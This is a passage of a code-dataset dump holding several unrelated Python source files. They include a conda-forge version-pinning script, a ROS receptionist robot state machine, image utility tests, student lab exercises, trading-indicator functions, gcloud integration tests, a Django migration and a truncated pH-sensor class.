to ping the 'conda-forge/core' team (using the @ notation in a comment).\n\n Thanks!\n\n \"\"\")\n\n pull = forge_feedstock.create_pull(title='MNT: Update pinned versions.',\n body=msg,\n head=\"{}:{}\".format(gh_me.login, target_branch), base=remote_head)\n print('Opened PR on {}'.format(pull.html_url))\n context.append(pull)\n\n\nfrom ruamel.yaml.comments import CommentedBase\ndef set_start_comment(self, comment, indent=0):\n \"\"\"overwrites any preceding comment lines on an object expects comment to be without `#` and possible have mutlple lines \"\"\"\n from ruamel.yaml.error import Mark\n from ruamel.yaml.tokens import CommentToken\n if self.ca.comment is None:\n pre_comments = []\n self.ca.comment = [None, pre_comments]\n else:\n pre_comments = self.ca.comments[1]\n\n if comment[-1] == '\\n':\n comment = comment[:-1]\n # strip final newline if there\n start_mark = Mark(None, None, None, indent, None, None)\n for com in comment.split('\\n'):\n pre_comments.append(CommentToken('# ' + com + '\\n', start_mark, None))\n\nif not hasattr(CommentedBase, 'set_start_comment'):\n CommentedBase.set_start_comment = set_start_comment\n\nimport jinja2\nclass NullUndefined(jinja2.Undefined):\n def __unicode__(self):\n return unicode(self._undefined_name)\n\n def __getattr__(self, name):\n return unicode('{}.{}'.format(self, name))\n\n def __getitem__(self, name):\n return '{}[\"{}\"]'.format(self, name)\nenv = jinja2.Environment(undefined=NullUndefined)\n\ncount = 0\nfor feedstock in randomised_feedstocks:\n print('Checking {}'.format(feedstock.name))\n if feedstock.name not in forge_repos:\n raise ValueError(\"There exists a feedstock ({}) which isn't in the \"\n \"conda-forge org.\".format(feedstock.name))\n\n if feedstock.name not in my_repos:\n forge_repo = gh_forge.get_repo(feedstock.name)\n print('Forking {}'.format(feedstock.name))\n gh_me.create_fork(forge_repo)\n my_repos[feedstock.name] = gh_me.get_repo(feedstock.name)\n\n clone = git.Repo(feedstock.directory)\n admin_fork = my_repos[feedstock.name]\n forge_feedstock = forge_repos[feedstock.name]\n\n skip_after_package = False\n\n # Put an appropriate conda-forge-admin remote in place.\n with tmp_remote(clone, gh_me.login,\n admin_fork.clone_url.replace('https://',\n 'https://{}@'.format(gh_token))) as remote:\n remote.fetch()\n clone.remotes.upstream.fetch()\n for branch in clone.remotes['upstream'].refs:\n remote_branch = branch.remote_head.replace('{}/'.format(gh_me.login), '')\n with create_update_pr(clone, remote_branch, remote, clone.remotes['upstream']) as pr:\n\n # Technically, we can do whatever we like to the feedstock now. Let's just\n # update the feedstock though. For examples of other things that *have* been\n # done here - once upon a time @pelson modified the conda-forge.yaml config\n # item for every single feedstock, and submitted PRs for every project.\n# conda_smithy.configure_feedstock.main(feedstock.directory)\n\n import ruamel.yaml\n forge_yaml = os.path.join(feedstock.directory, 'recipe', 'meta.yaml')\n with open(forge_yaml, 'r') as fh:\n content = ''.join(fh)\n parsable_content = env.from_string(content).render(os=os)\n code = ruamel.yaml.load(parsable_content, ruamel.yaml.RoundTripLoader)\n\n replacements = {}\n for section_name in ['run', 'build']:\n requirements = code.get('requirements')\n if requirements is None:\n break\n section = requirements.get(section_name)\n if not section:\n continue\n\n for pos, dep in enumerate(section):\n for name, pin in pinned.items():\n if dep.startswith(name) and dep != pin:\n replacements['- ' + str(dep)] = '- ' + pin\n if replacements:\n current_build_number = code['build']['number']\n replacements['number: {}'.format(current_build_number)] = 'number: {}'.format(current_build_number + 1)\n for orig, new in replacements.items():\n content = content.replace(orig, new)\n with open(forge_yaml, 'w') as fh:\n fh.write(content)\n if pr:\n skip_after_package = True\n # Stop processing any more feedstocks until the next time the script is run.\n if skip_after_package:\n count += 1\n\n if change_limit > 0 and count >= change_limit:\n break\n","sub_path":"scripts/pin_the_slow_way.py","file_name":"pin_the_slow_way.py","file_ext":"py","file_size_in_byte":12685,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"189113466","text":"from __future__ import print_function\n\nimport rospy\nimport robot_smach_states as states\nimport robot_smach_states.util.designators as ds\nimport smach\nfrom robocup_knowledge import load_knowledge\nfrom robot_skills.util.entity import Entity\nfrom math import radians\n\nchallenge_knowledge = load_knowledge('challenge_receptionist')\n\n\nclass GuestDescriptionStrDesignator(ds.Designator):\n def __init__(self, guest_name_des, drinkname, name=None):\n super(GuestDescriptionStrDesignator, self).__init__(resolve_type=str, name=name)\n\n ds.check_type(guest_name_des, str)\n ds.check_type(drinkname, str)\n\n self.guest_name_des = guest_name_des\n self.drinkname = drinkname\n\n def _resolve(self):\n name = self.guest_name_des.resolve()\n drinkname = self.drinkname.resolve()\n return \"This is {name} whose favourite drink is {drink}\".format(name=name, drink=drinkname)\n\n\nclass IntroduceGuest(smach.StateMachine):\n def __init__(self, robot, guest_ent_des, guest_name_des, guest_drinkname_des, assume_john=False):\n smach.StateMachine.__init__(self, outcomes=['succeeded', 'abort'])\n\n ds.check_type(guest_name_des, str)\n ds.check_type(guest_drinkname_des, str)\n ds.check_type(guest_ent_des, Entity)\n\n all_old_guests = ds.VariableDesignator(resolve_type=[Entity], name='all_old_guests')\n current_old_guest = ds.VariableDesignator(resolve_type=Entity, name='current_old_guest')\n\n # For each person:\n # 0. Go to the person (old guest)\n # 1. Look at the person and point at the guest\n # 2. Say 'Hi , this is \n\n with self:\n smach.StateMachine.add('SAY_INTRO',\n states.SayFormatted(robot,\n [\"Hi {name}, let me introduce you our new guest {guest_name}. I'll show you in a bit\"],\n name=ds.Designator(challenge_knowledge.operator_name) if assume_john else ds.Designator(\"folks\"),\n guest_name=guest_name_des,\n block=False),\n transitions={'spoken': 'FIND_OLD_GUESTS'})\n\n smach.StateMachine.add('FIND_OLD_GUESTS',\n states.FindPeopleInRoom(robot,\n room=challenge_knowledge.waypoint_livingroom['id'],\n found_people_designator=all_old_guests.writeable),\n transitions = {'found': 'ITERATE_OLD_GUESTS',\n 'not_found': 'ITERATE_OLD_GUESTS'})\n\n smach.StateMachine.add('ITERATE_OLD_GUESTS',\n states.IterateDesignator(all_old_guests,\n current_old_guest.writeable),\n transitions={'next': 'GOTO_OPERATOR',\n 'stop_iteration': 'succeeded'})\n\n smach.StateMachine.add('GOTO_OPERATOR',\n states.NavigateToObserve(robot,\n current_old_guest,\n radius=1.0,\n margin=1.0), # Makes the robot go within 2m of current_old_guest\n transitions={'arrived': 'SAY_LOOK_AT_GUEST',\n 'unreachable': 'SAY_LOOK_AT_GUEST',\n 'goal_not_defined': 'SAY_LOOK_AT_GUEST'})\n\n smach.StateMachine.add('SAY_LOOK_AT_GUEST',\n states.SayFormatted(robot,\n [\"Hi {name}, let me show you our guest\"],\n name=ds.Designator(challenge_knowledge.operator_name) if assume_john else ds.AttrDesignator(current_old_guest, \"person_properties.name\", resolve_type=str),\n block=True),\n transitions={'spoken': 'TURN_TO_GUEST'})\n\n smach.StateMachine.add('TURN_TO_GUEST',\n states.Turn(robot=robot,\n radians=radians(180)),\n transitions={\"turned\": \"FIND_GUEST\"})\n\n smach.StateMachine.add('FIND_GUEST',\n states.FindPerson(robot=robot,\n person_label=guest_name_des,\n search_timeout=30,\n found_entity_designator=guest_ent_des.writeable,\n speak_when_found=False),\n transitions={\"found\": \"POINT_AT_GUEST\",\n \"failed\": \"INTRODUCE_GUEST_WITHOUT_POINTING\"})\n\n smach.StateMachine.add('POINT_AT_GUEST',\n states.PointAt(robot=robot,\n arm_designator=ds.UnoccupiedArmDesignator(robot,{'required_goals':['point_at']}),\n point_at_designator=guest_ent_des,\n look_at_designator=current_old_guest),\n transitions={\"succeeded\": \"INTRODUCE_GUEST_BY_POINTING\",\n \"failed\": \"INTRODUCE_GUEST_WITHOUT_POINTING\"})\n\n smach.StateMachine.add('INTRODUCE_GUEST_BY_POINTING',\n states.Say(robot, GuestDescriptionStrDesignator(guest_name_des, guest_drinkname_des),\n block=True,\n look_at_standing_person=True),\n transitions={'spoken': 'RESET_ARM'})\n\n smach.StateMachine.add('INTRODUCE_GUEST_WITHOUT_POINTING',\n states.SayFormatted(robot,\n \"Our new guest is {name} who likes {drink}\",\n name=guest_name_des, drink=guest_drinkname_des,\n block=True,\n look_at_standing_person=True),\n transitions={'spoken': 'RESET_ARM'})\n\n smach.StateMachine.add('RESET_ARM',\n states.ResetArms(robot),\n transitions={'done': 'succeeded' if assume_john else 'ITERATE_OLD_GUESTS'})\n\n\nif __name__ == \"__main__\":\n import sys\n from robot_skills import get_robot\n\n if len(sys.argv) < 3:\n print(\"Please provide robot_name, room and seats_to_inspect as arguments. Eg. 'hero livingroom dinner_table bar dinnertable\")\n sys.exit(1)\n\n robot_name = sys.argv[1]\n room = sys.argv[2]\n seats_to_inspect = sys.argv[3:]\n\n rospy.init_node('test_find_emtpy_seat')\n robot = get_robot(robot_name)\n\n guest_entity_des = ds.VariableDesignator(resolve_type=Entity, name='guest_entity')\n guest_name_des = ds.VariableDesignator('dummy_guest', name='guest_name')\n guest_drinkname_des = ds.VariableDesignator('dummy_drink', name='guest_drinkname')\n\n sm = IntroduceGuest(robot,\n guest_entity_des,\n guest_name_des,\n guest_drinkname_des)\n\n sm.execute()\n\n rospy.loginfo(\"Guest is {}\".format(guest_entity_des.resolve()))\n","sub_path":"challenge_receptionist/src/challenge_receptionist/introduce_guest.py","file_name":"introduce_guest.py","file_ext":"py","file_size_in_byte":8005,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"101068091","text":"# Copyright 2021 Google LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ==============================================================================\n\"\"\"Tests for lit_nlp.lib.image_utils.\"\"\"\n\nfrom absl.testing import absltest\nfrom lit_nlp.lib import image_utils\nimport numpy as np\nfrom PIL import Image as PILImage\n\n\nclass CachingTest(absltest.TestCase):\n\n def test_format_conversions(self):\n # Create a PIL image.\n image_array = np.zeros(shape=(100, 70, 3), dtype=np.uint8)\n for i in range(1000):\n image_array[i % 100, i % 70, i % 3] = i % 256\n pil_image = PILImage.fromarray(image_array)\n\n # Test conversion of the PIL image to string.\n image_str = image_utils.convert_pil_to_image_str(pil_image)\n self.assertIsNotNone(image_str)\n\n # Test conversion of the string back to PIL image.\n pil_image_2 = image_utils.convert_image_str_to_pil(image_str)\n image_array_2 = np.asarray(pil_image_2)\n np.testing.assert_array_equal(image_array, image_array_2)\n\n # Test conversion of the string back to array.\n image_array_3 = image_utils.convert_image_str_to_array(\n image_str, shape=(100, 70, 3))\n np.testing.assert_array_almost_equal(image_array / 255, image_array_3)\n\n def test_clip_unsigned_saliency(self):\n a = np.linspace(0, 100, num=101, endpoint=True)\n a_clipped = image_utils.clip_unsigned_saliency(a, fraction=0.1)\n self.assertEqual(a_clipped.min(), 0)\n self.assertEqual(a_clipped.max(), 90)\n self.assertLen(np.argwhere(a_clipped == 0), 1)\n self.assertLen(np.argwhere(a_clipped == 90), 11)\n\n def test_clip_signed_saliency(self):\n a = np.linspace(-50, 100, num=151, endpoint=True)\n a_clipped = image_utils.clip_signed_saliency(a, fraction=0.1)\n self.assertEqual(a_clipped.min(), -42)\n self.assertEqual(a_clipped.max(), 92)\n self.assertLen(np.argwhere(a_clipped == -42), 9)\n self.assertLen(np.argwhere(a_clipped == 92), 9)\n\n def test_normalize_unsigned_saliency(self):\n a = np.linspace(10, 100, num=101, endpoint=True)\n a_norm = image_utils.normalize_unsigned_saliency(a)\n self.assertAlmostEqual(a_norm.max(), 1.0)\n self.assertAlmostEqual(a_norm.min(), 0.0)\n\n def test_normalize_signed_saliency(self):\n # Test the case when the magnitude of positive numbers is higher.\n a = np.linspace(-10, 100, num=101, endpoint=True)\n a_norm = image_utils.normalize_signed_saliency(a)\n self.assertAlmostEqual(a_norm.max(), 1.0)\n self.assertAlmostEqual(a_norm.min(), 0.45)\n\n # Test the case when the magnitude of negative numbers is higher.\n a = np.linspace(-100, 10, num=101, endpoint=True)\n a_norm = image_utils.normalize_signed_saliency(a)\n self.assertAlmostEqual(a_norm.max(), 0.55)\n self.assertAlmostEqual(a_norm.min(), 0.0)\n\n def test_overlay_pixel_saliency(self):\n # Crate url encoded image representation.\n image_array = np.zeros(shape=(100, 70, 3), dtype=np.uint8)\n pil_image = PILImage.fromarray(image_array)\n image_str = image_utils.convert_pil_to_image_str(pil_image)\n\n # Create saliency.\n saliency = np.ones(shape=(50, 20), dtype=np.uint8)\n\n overlay_image = image_utils.overlay_pixel_saliency(\n image_str=image_str,\n saliency=saliency,\n cm_name='bwr',\n clip_fraction=0.01,\n alpha_mul=0.90,\n signed=True,\n pixel_saliency=True)\n self.assertIsNotNone(overlay_image)\n self.assertSequenceEqual((100, 70, 3), np.asarray(overlay_image).shape)\n\n def test_overlay_area_saliency(self):\n # Crate url encoded image representation.\n image_array = np.zeros(shape=(90, 70, 3), dtype=np.uint8)\n pil_image = PILImage.fromarray(image_array)\n image_str = image_utils.convert_pil_to_image_str(pil_image)\n\n # Create saliency.\n saliency = np.ones(shape=(50, 30), dtype=np.uint8)\n\n overlay_image = image_utils.overlay_pixel_saliency(\n image_str=image_str,\n saliency=saliency,\n cm_name='bwr',\n clip_fraction=0.01,\n alpha_mul=0.90,\n signed=False,\n pixel_saliency=False)\n self.assertIsNotNone(overlay_image)\n self.assertSequenceEqual((90, 70, 3), np.asarray(overlay_image).shape)\n\n\nif __name__ == '__main__':\n absltest.main()\n","sub_path":"lit_nlp/lib/image_utils_test.py","file_name":"image_utils_test.py","file_ext":"py","file_size_in_byte":4691,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"190789319","text":"#TASKS (4p)\n\n#1 calculate & print the value of function y = 2x^2 + 2x + 2 for x=[56, 57, ... 100] (0.5p)\n\nprint(\"\\nTask 1:\")\ny = lambda x: 2*x**2 + 2*x + 2\nfor i in range(56,101):\n print(f\"y({i}) = {y(i)}\")\n\n\n#2 ask the user for a number and print its factorial (1p)\n\nwhile True:\n try:\n x = input(\"\\nTask 2:\\nInsert the natural number: \")\n try: x = float(x)\n except: raise ValueError(\"Your input is not a number.\")\n if (x % 1) != 0: raise ValueError(\"Your number is not of integer type.\")\n x = int(x)\n if x < 0: raise ValueError(\"Your integer is less than 0.\")\n y = 1\n for i in range(2,x+1):\n y *= i\n print(f\"{x}! = \",y)\n break\n except ValueError as err: print(\"Error: \", err)\n\n\n#3 write a function which takes an array of numbers as an input and finds the lowest value. Return the index of that element and its value (1p)\n\ndef f3(x):\n min = x[0]\n ind = 0\n for i in range(1,len(x)):\n if x[i] < min:\n min = x[i]\n ind = i\n return ind, min\nx = [1, 3, -9, 5, 0, -0.2, 101, -20]\nprint(\"\\nTask 3:\\n(index, value) = \", f3(x))\n\n\n#4 looking at lab1-input and lab1-plot files create your own python script that takes a number and returns any chart of a given length.\n#the length of a chart is the input to your script. The output is a plot (it doesn't matter if it's a y=x or y=e^x+2x or y=|x| function, use your imagination)\n#test your solution properly. Look how it behaves given different input values. (1p)\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nx = int(input(\"\\nTask 4:\\nInsert the natural number: \"))\ny = []\nfor i in range(x): y.append(i + 5 + np.random.randn())\nplt.scatter(np.arange(1,x+1),y)\nplt.title(\"Function f(x) = x + 5 with noisy data.\")\nplt.grid()\nplt.show()\n\n\n#5 upload the solution as a Github repository. I suggest creating a directory for the whole python course and subdirectories lab1, lab2 etc. (0.5p)\n#Ad 5 Hint write in Google \"how to create a github repo\". There are plenty of tutorials explaining this matter.\n\nprint(\"\\nDone.\")\n","sub_path":"lab1/lab1_solutions.py","file_name":"lab1_solutions.py","file_ext":"py","file_size_in_byte":2090,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"299844693","text":"import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nclass TA(object):\n def __init__(self, ohlcv):\n self.ohlcv = pd.DataFrame(data=ohlcv)\n\n # deconstuct ohlcv\n self.open = np.array(ohlcv['open'])\n self.high = np.array(ohlcv['high'])\n self.low = np.array(ohlcv['low'])\n self.close = np.array(ohlcv['close'])\n self.volume = np.array(ohlcv['volume'])\n\n def EMA(self, period, column='close'):\n \"\"\"\n Exponential Moving Average\n \"\"\"\n return self.ohlcv[column].ewm(ignore_na=False,\n min_periods=period - 1,\n span=period).mean()\n\n def DEMA(self, period, column='close'):\n \"\"\"\n Double Exponential Moving Average\n \"\"\"\n return 2 * self.EMA(period, column) - self.EMA(period, column).ewm(ignore_na=False,\n min_periods=period - 1,\n span=period).mean()\n\n def MACD(self, period_fast=12, period_slow=26, signal=9, column='close'):\n \"\"\"\n MACD Signal and MACD difference\n \"\"\"\n EMA_fast = self.ohlcv[column].ewm(ignore_na=False, min_periods=period_slow - 1, span=period_fast).mean()\n EMA_slow = self.ohlcv[column].ewm(ignore_na=False, min_periods=period_slow - 1, span=period_slow).mean()\n MACD = pd.Series(EMA_fast - EMA_slow, name='macd')\n MACD_signal = pd.Series(MACD.ewm(ignore_na=False, span=signal).mean(), name='signal')\n MACD_histo = pd.Series(MACD - MACD_signal, name='histo')\n\n return pd.concat([MACD, MACD_signal, MACD_histo], axis=1)\n\n def PPO(self, period_fast=12, period_slow=26, signal=9, column='close'):\n \"\"\"\n PPO\n \"\"\"\n EMA_fast = self.ohlcv[column].ewm(ignore_na=False, min_periods=period_slow - 1, span=period_fast).mean()\n EMA_slow = self.ohlcv[column].ewm(ignore_na=False, min_periods=period_slow - 1, span=period_slow).mean()\n\n PPO = pd.Series(((EMA_fast - EMA_slow)/EMA_slow) * 100, name='ppo')\n PPO_signal = pd.Series(PPO.ewm(ignore_na=False, span=signal).mean(), name='signal')\n PPO_histo = pd.Series(PPO - PPO_signal, name='histo')\n\n return pd.concat([PPO, PPO_signal, PPO_histo], axis=1)\n\n def RSI(self, period=14, column='close'):\n \"\"\"\n Relative Strength Index\n \"\"\"\n delta = self.ohlcv[column].diff()[1:]\n up, down = delta.copy(), delta.copy()\n up[up < 0] = 0\n down[down > 0] = 0\n\n gain = up.ewm(span=period, min_periods=period - 1).mean()\n loss = down.abs().ewm(span=period, min_periods=period - 1).mean()\n\n return 100 - (100 / (1 + (gain / loss)))\n\n def STOCHRSI(self, rsi_period=14, stoch_period=14, column='close'):\n \"\"\"\n Stochatic RSI\n \"\"\"\n rsi = self.RSI(rsi_period, column)\n\n return ((rsi - rsi.min()) / (rsi.max() - rsi.min())).rolling(window=stoch_period).mean()\n\n def STOCH(self, period=14, d_period=3, column='close'):\n \"\"\"\n Stochastic Oscillator\n \"\"\"\n highest_high = self.ohlcv['high'].rolling(center=False, window=period).max()\n lowest_low = self.ohlcv['low'].rolling(center=False, window=period).min()\n\n stoch_k = pd.Series((highest_high - self.ohlcv['close']) / (highest_high - lowest_low), name='stoch_k') * 100\n stoch_d = pd.Series(stoch_k.rolling(center=False, window=period, min_periods=period - 1).mean(), name='stoch_d')\n ratio = pd.Series(stoch_k - stoch_d, name='ratio')\n\n return pd.concat([stoch_k, stoch_d, ratio], axis=1)\n\n def FISH(self, period=10):\n \"\"\"\n Fisher Transform\n \"\"\"\n med = (self.ohlcv['high'] + self.ohlcv['low']) / 2\n low = med.rolling(window=period).min()\n high = med.rolling(window=period).max()\n raw = (2 * ((med - low) / (high - low))) - 1\n smooth = raw.ewm(span=5).mean()\n\n fisher = pd.Series((np.log((1 + smooth) / (1 - smooth))).ewm(span=3).mean(), name='fisher')\n trigger = pd.Series(np.concatenate([[np.nan], fisher[:-1]]), name='trigger')\n histo = pd.Series(fisher - trigger, name='histo')\n\n return pd.concat([fisher, trigger, histo], axis=1)\n\n def SAR(self, acceleration_factor=0.02, acc_max=0.2):\n \"\"\"\n Stop and Reverse\n \"\"\"\n # signal, extreme-point, acceleration factor\n sig0, xpt0, af0 = True, self.high[0], acceleration_factor\n sar = [self.low[0] - (self.high - self.low).std()]\n\n for i in range(1, len(self.high)):\n sig1, xpt1, af1 = sig0, xpt0, af0\n\n lmin = min(self.low[i - 1], self.low[i])\n lmax = max(self.high[i - 1], self.high[i])\n\n if sig1:\n sig0 = self.low[i] > sar[-1]\n xpt0 = max(lmax, xpt1)\n else:\n sig0 = self.high[i] >= sar[-1]\n xpt0 = min(lmin, xpt1)\n\n if sig0 == sig1:\n sari = sar[-1] + (xpt1 - sar[-1])*af1\n af0 = min(acc_max, af1 + acceleration_factor)\n\n if sig0:\n af0 = af0 if xpt0 > xpt1 else af1\n sari = min(sari, lmin)\n else:\n af0 = af0 if xpt0 < xpt1 else af1\n sari = max(sari, lmax)\n else:\n af0 = acceleration_factor\n sari = xpt0\n\n sar.append(sari)\n\n return pd.Series(sar, name='sar')\n\n def TR(self):\n \"\"\"\n True Range\n \"\"\"\n tr1 = pd.Series(self.ohlcv['high'] - self.ohlcv['low']).abs()\n tr2 = pd.Series(self.ohlcv['high'] - self.ohlcv['close'].shift()).abs()\n tr3 = pd.Series(self.ohlcv['close'].shift() - self.ohlcv['low']).abs()\n\n tr = pd.concat([tr1, tr2, tr3], axis=1)\n\n return tr.max(axis=1)\n\n def VORTEX(self, period=14):\n \"\"\"\n Vortex\n \"\"\"\n VMP = pd.Series(self.ohlcv['high'] - self.ohlcv['low'].shift(-1).abs())\n VMM = pd.Series(self.ohlcv['low'] - self.ohlcv['high'].shift(-1).abs())\n\n VMPx = VMP.rolling(window=period).sum()\n VMMx = VMM.rolling(window=period).sum()\n\n VIp = pd.Series(VMPx / self.TR(), name='VI+').interpolate(method='index')\n VIm = pd.Series(VMMx / self.TR(), name='VI-').interpolate(method='index')\n pm_ratio = pd.Series(VIp + VIm, name='ratio')\n\n # remove bad values\n pm_ratio[np.isnan(pm_ratio)] = 0\n\n return pd.concat([VIm, VIp, pm_ratio], axis=1)\n\n def BASP(self, period=40):\n \"\"\"\n Buy and Sell Pressure\n \"\"\"\n sp = self.ohlcv['high'] - self.ohlcv['close']\n bp = self.ohlcv['close'] - self.ohlcv['low']\n sp_avg = sp.ewm(span=period, min_periods=period - 1).mean()\n bp_avg = bp.ewm(span=period, min_periods=period - 1).mean()\n\n v_avg = self.ohlcv['volume'].ewm(span=period, min_periods=period - 1).mean()\n nv = self.ohlcv['volume'] / v_avg\n\n buy_press = pd.Series(bp / bp_avg * nv, name='buy')\n sell_press = pd.Series(sp / sp_avg * nv, name='sell')\n press_ratio = pd.Series(buy_press - sell_press, name='ratio')\n\n return pd.concat([buy_press, sell_press, press_ratio], axis=1)\n\n def graph(self,\n include_open=False,\n include_high=False,\n include_low=False,\n include_close=False,\n **kwargs):\n\n if include_open: plt.plot(self.open, label='open')\n if include_high: plt.plot(self.high, label='high')\n if include_low: plt.plot(self.low, label='low')\n if include_close: plt.plot(self.close, label='close')\n\n for key, value in kwargs.items():\n plt.plot(value, label=key)\n\n leg = plt.legend(loc='best', shadow=True)\n leg.get_frame().set_alpha(0.5)\n\n plt.show()\n\n def remove_NaN(self, inputs):\n valid_idx = 0\n for check in np.isnan(inputs):\n if True in check: valid_idx += 1\n else: break\n\n return valid_idx\n\n\nif __name__ == '__main__':\n data = {'open': [32, 33, 19, 25, 29, 37, 38, 35, 32, 38, 42, 49],\n 'high': [36, 35, 25, 29, 31, 40, 41, 39, 33, 45, 50, 51],\n 'low': [32, 33, 19, 25, 29, 37, 38, 35, 32, 38, 42, 49],\n 'close':[31, 31, 14, 24, 25, 32, 37, 32, 29, 31, 40, 45],\n 'volume': [150, 200, 172, 177, 163, 189, 111, 98, 211, 215, 70, 98]}\n\n ta = TA(data)\n ema_3 = ta.EMA(3).values\n ema_5 = ta.EMA(5).values\n dema_3 = ta.DEMA(3).values\n\n ta.graph(include_close=True,\n EMA_3=ema_3,\n EMA_5=ema_5,\n DEMA_3=dema_3)\n","sub_path":"ta/ta.py","file_name":"ta.py","file_ext":"py","file_size_in_byte":8779,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"354066052","text":"# -*- coding: utf-8 -*- #\n# Copyright 2015 Google Inc. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\"\"\"Integration tests for set-service-account command.\"\"\"\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import unicode_literals\n\nfrom googlecloudsdk.calliope import base as calliope_base\nfrom tests.lib.surface.compute import e2e_instances_test_base\nfrom tests.lib.surface.compute import e2e_test_base\n\n\nclass SetServiceAccountTest(e2e_instances_test_base.InstancesTestBase):\n\n def SetUp(self):\n self.track = calliope_base.ReleaseTrack.GA\n\n def testInstanceSetServiceAccount(self):\n self.GetInstanceName()\n self.Run('compute instances create {} --zone {} '.format(\n self.instance_name, self.zone))\n self.Run('compute instances stop --zone {} {}'.format(\n self.zone, self.instance_name))\n self.Run('compute instances set-service-account --scopes \"\" --zone {} {}'\n .format(self.zone, self.instance_name))\n result = self.Run('compute instances describe {} --zone {} --format=disable'\n .format(self.instance_name, self.zone))\n self.assertEqual(result.serviceAccounts[0].scopes, [],\n result.serviceAccounts[0].scopes)\n\n def testRemoveServiceAccount(self):\n self.GetInstanceName()\n self.Run('compute instances create {} --zone {} '.format(\n self.instance_name, self.zone))\n self.Run('compute instances stop --zone {} {}'.format(\n self.zone, self.instance_name))\n self.Run('compute instances set-service-account '\n '--no-service-account '\n '--no-scopes '\n ' --zone {} {}'.format(self.zone, self.instance_name))\n result = self.Run('compute instances describe {} --zone {} --format=disable'\n .format(self.instance_name, self.zone))\n self.assertEqual(result.serviceAccounts, [], result.serviceAccounts)\n\n def testChangeServiceAccounts(self):\n new_service_account = ('cloud-sdk-integration-testing'\n '@appspot.gserviceaccount.com')\n self.GetInstanceName()\n self.Run('compute instances create {} --zone {} '.format(\n self.instance_name, self.zone))\n self.Run('compute instances stop --zone {} {}'.format(\n self.zone, self.instance_name))\n self.Run('compute instances set-service-account '\n '--service-account {}'\n ' --zone {} {}'.format(new_service_account, self.zone,\n self.instance_name))\n result = self.Run('compute instances describe {} --zone {} --format=disable'\n .format(self.instance_name, self.zone))\n self.assertEqual(new_service_account, result.serviceAccounts[0].email)\n\n def testAttemptChangeServiceAccountOnRunningInstance(self):\n self.GetInstanceName()\n self.Run('compute instances create {} --zone {} '.format(\n self.instance_name, self.zone))\n with self.AssertRaisesToolExceptionRegexp(\n r'.*The instance must be stopped before the service account can be '\n r'changed\\..*'):\n self.Run('compute instances set-service-account '\n '--service-account {}'\n ' --zone {} {}'.format(\n 'cloud-sdk-integration-testing@appspot.gserviceaccount.com',\n self.zone, self.instance_name))\n\n\nif __name__ == '__main__':\n e2e_test_base.main()\n","sub_path":"google-cloud-sdk/lib/tests/e2e/surface/compute/instances/set_service_account_test.py","file_name":"set_service_account_test.py","file_ext":"py","file_size_in_byte":3910,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"525937599","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('environments', '0001_initial'),\n ('companies', '0001_initial'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Environmentsvariables',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('variables', models.TextField()),\n ('company', models.ForeignKey(related_name='environmentsvariables_fk_to_companies', to='companies.Companies')),\n ('environment', models.ForeignKey(related_name='environmentsvariables_fk_to_environments', to='environments.Environments')),\n ],\n options={\n 'ordering': ('-id',),\n 'db_table': 'environmentsvariables',\n },\n ),\n migrations.AlterUniqueTogether(\n name='environmentsvariables',\n unique_together=set([('company', 'environment')]),\n ),\n ]\n","sub_path":"apps/tmt/environmentsvariables/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":1122,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"250048954","text":"from iseprobe import iseprobe\n\nPROBE_MV_TO_PH = 59.2\nTEMP_CORRECTION_FACTOR = 0.03\n\n\nclass ise_ph(iseprobe):\n pH = 0\n pOH = 0\n\n def measurepH(self):\n self.measuremV()\n if self.mV == -1:\n self.pH = -1\n self.pOH = -1\n return -1\n\n self.pH = abs(7.0 - (self.mV / PROBE_MV_TO_PH))\n self.pOH = abs(self.pH - 14)\n\n if self.usingTemperatureCompensation() is True:\n self.measureTemp()\n\n distance_from_7 = abs(7 - round(self.pH))\n distance_from_25 = floor(abs(25 - round(temp)) / 10)\n temp_multiplier = (distance_from_25 * distance_from_7) * TEMP_CORRECTION_FACTOR\n\n if (self.pH >= 8.0) and (self.tempC >= 35):\n temp_multiplier *= -1\n if (self.pH <= 6.0) and (temp <= 15):\n temp_multiplier *= -1\n\n self.pH += temp_multiplier\n\n if self.pH <= 0.0 or self.pH >= 14.0:\n self.pH = -1\n self.pOH = -1\n if math.isnan(self.pH):\n self.pH = -1\n self.pOH = -1\n if math.isinf(mV):\n self.pH = -1\n self.pOH = -1\n return self.pH\n\n def calibrateSingle(self, solutionpH):\n super(iseprobe, self).calibrateSingle(pHtomV(solutionpH))\n\n def calibrateProbeHigh(self, solutionpH):\n 